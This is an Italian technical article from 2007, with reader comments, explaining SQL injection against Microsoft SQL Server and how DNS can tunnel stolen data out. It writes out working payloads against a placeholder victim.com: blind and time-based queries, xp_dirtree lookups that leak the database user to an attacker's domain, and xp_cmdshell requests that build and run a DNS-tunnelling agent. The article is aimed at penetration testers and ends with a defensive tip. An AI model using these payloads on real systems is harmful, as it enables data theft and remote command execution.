Networking & Security 6 commenti

Quando la SQL Injection incontra il DNS

di Alberto Revelli

Gli attacchi di tipo SQL Injection sono ben noti da vari anni nella comunità, sia in termini di modalità di esecuzione, sia in termini di impatto. Un attacco riuscito può avere molteplici conseguenze, che vanno dal mettere in pericolo la confidenzialità e integrità dei dati immagazzinati nel DB, al consentire il bypass di sistemi di autenticazione, fino in molti casi permettere all'intruso di impartire comandi direttamente al sistema operativo, trasformando quindi una vulnerabilità di tipo applicativo in una porta di accesso all'infrastruttura.

In questo articolo ci concentreremo su Microsoft SQL Server, e dopo un breve accenno alle tecniche di SQL Injection basata su inference analizzeremo la possibilità di utilizzare il protocollo DNS per creare un tunnel che trasporti i dati cercati, siano essi tabelle del DB o i risultati di un comando impartito al sistema operativo sottostante. L'articolo è ovviamente rivolto ai penetration tester e a chiunque altro possa sperimentare con questi concetti in maniera legale.

Si assume una buona conoscenza di SQL Server, di TSQL (il «dialetto» SQL di Microsoft) e delle tecniche di blind SQL Injection, oltre che un minimo di dimestichezza con il protocollo DNS.

In-band, Out-of-Band, Inference...

In molti casi, le modalità di exploiting possono risultare molto semplici: immettere semplicemente la stringa ' or 'a'='a in un input field può talvolta essere sufficiente per aggirare una pagina di login. Altre volte, aggiungere una UNION SELECT ad una query può facilmente garantirci l'accesso ad una qualsiasi tabella del database. In altri casi, infine, basta una chiamata a xp_cmdshell (una ben nota extended procedure che consente di impartire comandi al sistema operativo) per avere l'output dei nostri comandi direttamente nella pagina HTML. In tutti questi casi, i dati cercati vengono restituiti all'interno della stessa connessione HTTP utilizzata per l'injection e in genere si parla di «in-band injection».

In altre situazioni, quando non è possibile ottenere i dati direttamente nella pagina HTML, è possibile avviare una seconda connessione che consenta il trasferimento dell'informazione, e si parla in questo caso di “out-of-band injection”: è possibile per esempio utilizzare OPENROWSET, un comando che consente ad un DB Server di connettersi ad un altro DB Server per scambiare dati. L'intruso dovrà semplicemente avere una istanza di SQL Server in ascolto sulla sua macchina e dire al DB Server attaccato come collegarsi ad essa.

Nel caso invece in cui si stia puntando ad una shell sul sistema operativo, è possibile creare, sempre con xp_cmdshell, un FTP script che, una volta lanciato, scarichi netcat.exe e lanci una shell diretta o inversa. Nel primo caso netcat si metterà in ascolto su una porta in locale, nel secondo contatterà invece una porta in ascolto sulla macchina che effettua l'attacco.

E' però importante notare che questi scenari appena descritti non sono possibili laddove vi sia un firewall che filtri tali connessioni, ed è in questi casi più “estremi” che viene utilizzato il terzo tipo di attacco, quello «inference based».

Le tecniche basate su inferenza sono state abbondantemente illustrate già nel 2005 da David Litchfield. In questo tipo di attacco, non avviene alcun trasferimento effettivo di dati: l'informazione viene “estratta” (di solito un bit alla volta) iniettando una serie di query e osservando il comportamento del DB server remoto.

Questo tipo di attacco non è strettamente l'argomento dell'articolo, e per i dettagli vi rimando al link riportato sopra, ma la sua eleganza merita almeno un esempio. Diciamo di avere a che fare con una pagina asp vulnerabile nel suo parametro numerico a, e ipotizziamo che le seguenti richieste restituiscano pagine in un qualche modo diverse:

http://www.victim.com/vuln.asp?a=1
http://www.victim.com/vuln.asp?a=2

L'idea consiste nell'iniettare nel parametro a una query che vada a misurare il valore di un bit di informazione a cui siamo interessati, e a seconda del valore di tale bit faccia sì che a valga 1 oppure 2. La pagina che otterremo in risposta ci permetterà a quel punto di stabilire il valore di tale bit. Ammettendo, ad esempio. di voler estrarre il nome dell'utente che sta effettuando le query, potremo utilizzare, per generare il parametro a, la seguente query:

1 + select (ascii(substring((select system_user),1,1))&1)

che, nel nostro URL, diventa:

http://www.victim.com?a=1%2Bselect+(ascii(substring((select+system_user),1,1))%261)

Cosa succede qui? Analizziamo a partire dalle parentesi più interne. Per prima cosa, estraiamo il nome dell'utente con select system_user. Da questo nome, estraiamo il primo carattere con substring(). Di tale carattere troviamo il valore numerico con ascii(). Mettiamo infine questo valore in bitwise AND con 1 per trovare il valore del bit meno significativo. A seconda che il valore di questo bit sia 0 o 1, a varrà rispettivamente 1 o 2, e quindi riceveremo la risposta al primo o al secondo degli URL sopra menzionati, permettendoci di stabilire il valore di questo bit. Che non è male, ma siccome un bit da solo è poco utile, dovremo ripetere la procedura per gli altri bit di questo carattere. Poi passare al secondo carattere e così via.

Le cose si complicano ulteriormente se la risposta del server è identica indipendentemente dal valore del parametro vulnerabile: in questo caso non è più possibile ricostruire il dato a partire dal codice HTML ricevuto, ma possiamo legare il suo valore ad altre entità, ad esempio il tempo che ci mette il nostro server a rispondere alla richiesta, come nel caso seguente:

http://www.victim.com/vuln.asp?a=1;if+ascii(substring((select+system_user),1,1)%261>0+waitfor+delay+'0:0:3'

Analizziamo questa richiesta: Microsoft SQL Server (bontà sua) ci consente di effettuare più query in batch separandole da un punto e virgola. In questo caso, iniettiamo una nuova query che andrà ad estrarre lo stesso bit cercato prima. La differenza è che, se il bit ha valore 1, il DB dovrà aspettare 3 secondi prima di rispondere. Ecco quindi che, misurando il tempo che ci mette la nostra applicazione a rispondere alla nostra richiesta, possiamo di nuovo estrarre i dati cercati.

È evidente che un sistema simile può andare bene per estrarre quantità limitate di informazione, ma non per effettuare il dump di interi database. Ammettendo che il valore di un bit sia 1 o 0 con uguale probabilità, ci troviamo ad aver bisogno in media di 1.5 secondi per estrarne uno. Potremmo diminuire l'argomento di WAITFOR DELAY, ma con il serio rischio di introdurre errori dovuti alla latenza di rete.

DNS is your friend!

Ed è per risolvere questo problema di efficienza che, finalmente, veniamo al cuore di questo articolo, in cui andiamo a descrivere un altro possibile approccio, che può essere definito «out-of-band» ma che non ha bisogno di alcuna connessione diretta tra noi e il DB Server. L'idea consiste nell'utilizzare il protocollo DNS per creare un tunnel che ci invii i dati cercati. Il primo a studiare le potenzialità di questo protocollo per trasportare dati è stato Dan Kaminsky, e in questa sede vedremo due delle tante implementazioni di questo concetto: la prima è stata esposta per la prima volta da Patrik Karlsson a Defcon15 mentre la seconda è quella utilizzata dal tool sqlninja.

Due prerequisiti per poter utilizzare con successo questa tecnica:

  1. la macchina da cui effettuiamo l'attacco deve essere DNS autoritativo per un dominio (es.: stacktrace.it)
  2. il DNS Server del DB che stiamo attaccando deve poter risolvere domini esterni

La prima condizione è facile da ottenere, con un investimento di pochi euro. La seconda sfugge ovviamente al nostro controllo, ma fortunatamente (o sfortunatamente, dipende dai punti di vista) sono poche le reti in cui i DNS interni non sono autorizzati a risolvere domini arbitrari.

L'idea è di iniettare una query che faccia, nell'ordine, le seguenti azioni:

  1. estrarre il dato da inviare, nel nostro caso il nome dell'utente (es.: sa, l'utente amministrativo di default su SQL Server)
  2. creare un hostname composto dal dato stesso e dal dominio sotto controllo (quindi, nel nostro esempio, sa.stacktrace.it)
  3. in qualche modo, costringere il DB Server a cercare di risolvere quel nome

Questo genererà una richiesta da parte del DB Server al DNS locale, che a sua volta effettuerà un forward all'indirizzo IP autoritativo per il dominio stacktrace.it, ovvero la nostra macchina, la quale non dovrà fare altro che restare in ascolto sulla porta 53, ricevere la richiesta ed estrarre il dato cercato dalla richiesta.

Ci sono vari modi per far generare la richiesta al DNS Server: uno dei più semplici è offerto da xp_dirtree, una extended procedure di SQL Server che restituisce, sotto forma di lista, l'albero delle directory che dipendono dalla directory passata come parametro alla procedura, come nel seguente esempio:

exec master..xp_dirtree 'C:\'

Quello che rende xp_dirtree estremamente utile è che può essere eseguita da qualsiasi utente indipendentemente dai suoi privilegi, e che il parametro di input può contenere un host remoto, come nel seguente esempio:

exec master..xp_dirtree '\\www.stacktrace.it\c:\'

Lanciare una query di questo tipo constringerà il DB server a cercare di risolvere l'host www.stacktrace.it, generando quindi una richiesta DNS che verrà inoltrata al DNS Server autoritativo per il dominio stacktrace.it.

Riassumendo, per avere il nome dell'utente remoto, potremo semplicemente iniettare la seguente query:

exec master..xp_dirtree '\\'+(select system_user)+'.stacktrace.it\c:\'

che, inserita nell'URL con l'encoding richiesto, diventa:

http://www.victim.com/vuln.asp?a=1;exec+master..xp_dirtree+%27%5C%5C%27%2B%28select+system_user%29%2B%27.stacktrace.it%5Cc%3A%5C%27

Semplice no? Certo, ma ci sono un pò di complicazioni che devono essere risolte per poter utilizzare questa tecnica in via un pò più generale. L'esempio appena visto risolve infatti un caso estremamente semplice, e in un caso reale dovremo tenere conto delle seguenti problematiche:

  1. un hostname può contenere al massimo 255 caratteri; se vogliamo trasferire maggiori quantità di dati è necessario utilizzare più richieste
  2. ogni segmento dell'hostname (ad esempio la stringa stacktrace in sa.stacktrace.it può essere al massimo 63 caratteri; quindi, per usare nomi così lunghi, dovremo fare attenzione ad interporre dei dot (.) nelle posizioni giuste
  3. un hostname è case-insensitive e può contenere solo caratteri alfanumerici e il carattere -; se il dato che vogliamo trasferire contiene altri caratteri, per ottenere un domain name che sia corretto dovremo pensare ad una qualche codifica

Con qualche riga di codice, la cosa non è troppo difficile: Patrik Karlsson risolve la cosa con del semplice TSQL, e per i dettagli vi rimando alla sua presentazione.

Noi qui ci concentreremo sull'implementazione di sqlninja, che punta invece all'ottenimento di una shell sul DB remoto e che utilizza, per il tunneling DNS dei risultati dei vari comandi, un eseguibile ad-hoc che fa da agente remoto (dnstun.exe).

Ma qui incontriamo un ulteriore problema: come trasferire un eseguibile se, come abbiamo detto, il firewall non consente alcuna connessione che non sia HTTP? La risposta è DEBUG.EXE, il debugger di Windows che è installato di default in tutti i sistemi operativi Microsoft. Non entriamo troppo nei dettagli per non andare fuori tema (magari se ne parlerà in maniera più approfondita in un altro articolo), ma questo tool ha il pregio di poter ricevere in input uno script con la successione di comandi desiderata.

In particolare, noi utilizzeremo uno script che opererà in questo modo:

  1. aprirà un nuovo file (che diventerà il nostro eseguibile)
  2. scriverà in memoria i byte dell'eseguibile, nelle locazioni corrispondenti
  3. salverà il file su disco, pronto per essere utilizzato

Per farvi un'idea, un esempio di tale script (che crea il file netcat.exe) è disponibile sul sito di sqlninja.

Uno script simile può essere generato facilmente a partire dall'eseguibile corrispondente utilizzando numerosi tool disponibili in rete (per esempio l'eccellente dbgtool.exe), e può essere inviato, riga per riga, sul DB remoto con una serie di xp_cmdshell.

L'upload, quindi, seguirà i seguenti step. Innanzitutto, viene trasferito l'intero script, riga per riga:

http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'echo+n+dnstun.com+>+dnstun.scr'
http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'echo+r+cx+>>+dnstun.scr'
.....

Poi viene lanciato debug.exe, con lo script in input:

http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'debug.exe+<+dnstun.scr'

Infine, non resta che rinominare il file (perchè debug.exe si rifiuta di operare direttamente su file .exe)

http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'ren+dnstun.com+dnstun.exe'

Complicato? Fortunatamente sqlninja fa tutto in maniera automatizzata, e questo ci consente di tornare ad occuparci di cosa deve fare il nostro agente remoto. I passi che vengono seguiti sono (con qualche approssimazione) i seguenti:

  1. il comando da eseguire (per esempio, dir C:\) viene passato via SQL Injection a dnstun.exe, insieme al dominio da utilizzare per il tunnel e la lunghezza degli hostname da usare:
    http://www.victim.com/vuln.asp?a=1;exec+master..xp_cmdshell+'dnstun.exe+stacktrace.it+255+dir+c:\'
  2. dnstun.exe usa CreateProcess() per lanciare il comando e usa una pipe per intercettare il suo output
  3. man mano che l'output arriva sulla pipe, questo viene codificato in Base32 (anzi, una sua versione leggermente modificata): viste le limitazioni che abbiamo nei caratteri che possono costituire un hostname, possiamo trasferire al massimo 5 bit per carattere; per non dover spendere spazio in padding, vengono codificati chunk di output la cui lunghezza è un multiplo esatto di 5
  4. La versione codificata dell'output viene utilizzata per creare gli hostname da risolvere; all'inizio di ogni hostname viene inoltre aggiunto un contatore (perchè le richieste, una volta ricevute, possano essere riordinate) e una flag che segnala se la richiesta corrente è l'ultima o se ne devono essere attese altre
  5. per ogni hostname generato in questo modo, viene semplicemente chiamata gethostbyname(), che penserà a tutto il resto

In Figura 1 vediamo le richieste effettuate. Per chiarezza, abbiamo utilizzato hostname di soli 64 caratteri totali. Nel dettaglio:

  • l'alfabeto utilizzato per codificare l'output del comando usa le lettere da 'a' a 'z', più i numeri da 0 a 5, per un totale di 32 simboli
  • il primo carattere fa da contatore, ciclando in questo caso da 'a' ad 's'; ovviamente il contatore deve essere in grado di utilizzare più caratteri, se il numero di richieste lo richiede
  • il secondo carattere ha sempre valore '8', che indica che altri pacchetti sono in arrivo; l'ultimo pacchetto ha invece valore '9'
  • il resto dell'hostname contiene il risultato del comando. L'ultimo pacchetto contiene anche una serie di '7', il cui simbolo viene utilizzato per il padding
Dump da Wireshark

Figura 1. Dump da Wireshark.

Infine in Figura 2 vediamo la decodifica:

Utilizzo di sqlninja

Figura 2. Utilizzo di sqlninja.

Bingo! E tutto in meno di un secondo, contro i minuti che sarebbero stati necessari per eseguire il comando, salvarne l'output in una tabella temporanea, ed estrarne i contenuti un bit alla volta con tecniche di inference.

Conclusioni

In questo articolo abbiamo offerto una panoramica su quelle che sono le potenzialità nell'utilizzare il protocollo DNS per semplificare il trasferimento dati in una SQL Injection. Per chi fosse interessato a fare qualche esperimento (legale!!) con le tecniche qua illustrate, il codice sorgente di dnstun.exe è disponibile nel tarball di sqlninja. Per chi invece si trova ad amministrare una rete che possa essere il bersaglio di attacchi di questo tipo, il miglior consiglio è di vietare ai DNS interni di risolvere nomi esterni.

Pubblicato il
16 Dic 2007
Tag

Commenti

  • Francesco il 17 Dic 2007

    Stratosferico, cronaca eccezionale! Complimenti per l'aver divulgato tutto questo materiale ben chiaramente. Vero grasso che cola :p e pure io che fino a poco fa di SQL Injection ci capivo solo il come evitare tali attacchi scrivendo buon codice nei punti critici, ebbene ora con un articolo così ho finalmente intuito i passaggi cruciali tipo l'invocazione del xp_cmdshell (un po' meno il passaggio del debugger). Mi sono pure fiondato a vedere la demo in flash del SqlNinja, spaziale :)

  • spider il 17 Dic 2007

    Articolo fantastico. Mitico ice!

  • Christian Paparelli il 17 Dic 2007

    Ottimo lavoro, solo per dover di cronaca i vari xp_cmdshell, openrowset e xp_dirtree sono per default disattivati in MS SQL 2005 e 2008.

    Inoltre l'attacco prevede che l'utente con il quale gira il servizio MSSQL abbia privilegi amministrativi, per inibire l'attacco basterebbe usare MSSQL 2005 ed attivare il servizio con un utente con privilegi minimi, cosa che per altro bisognerebbe sempre fare :)

    http://support.microsoft.com/kb/283811

  • Lawrence Oluyede il 17 Dic 2007

    L'articolo piu` bello del lancio. Saro` biased ma sto articolo e` _stellare_

  • Alberto Revelli il 19 Dic 2007

    Ciao Christian,

    in effetti, per motivi di spazio, ho sorvolato sulle tecniche di mitigazione, per cui la tua precisazione e' piu' che appropriata. Una sola cosa: mi risulta che la chiamata a xp_dirtree sia tuttora abilitata di default su SQL Server 2005 (quantomeno dagli esperimenti che ho fatto)

    ciao! :)

  • Christian Paparelli il 5 Gen 2008

    Ciao Alberto,

    Si hai perfettamente ragione xp_dirtree ed altre extended stored procedure sono attive al gruppo public per default. Unica particolarità la stored gira nel contesto del servizio MSSQL e quindi l'impatto è minimo, ovviamente sempre sperando l'utente del servizio non sia Localsystem o peggio Domain Admin :(

Screencast e videocorsi di programmazione
Stacktrace RSS Feed Stacktrace via E-mail
Hai idee per un articolo? Faccelo sapere!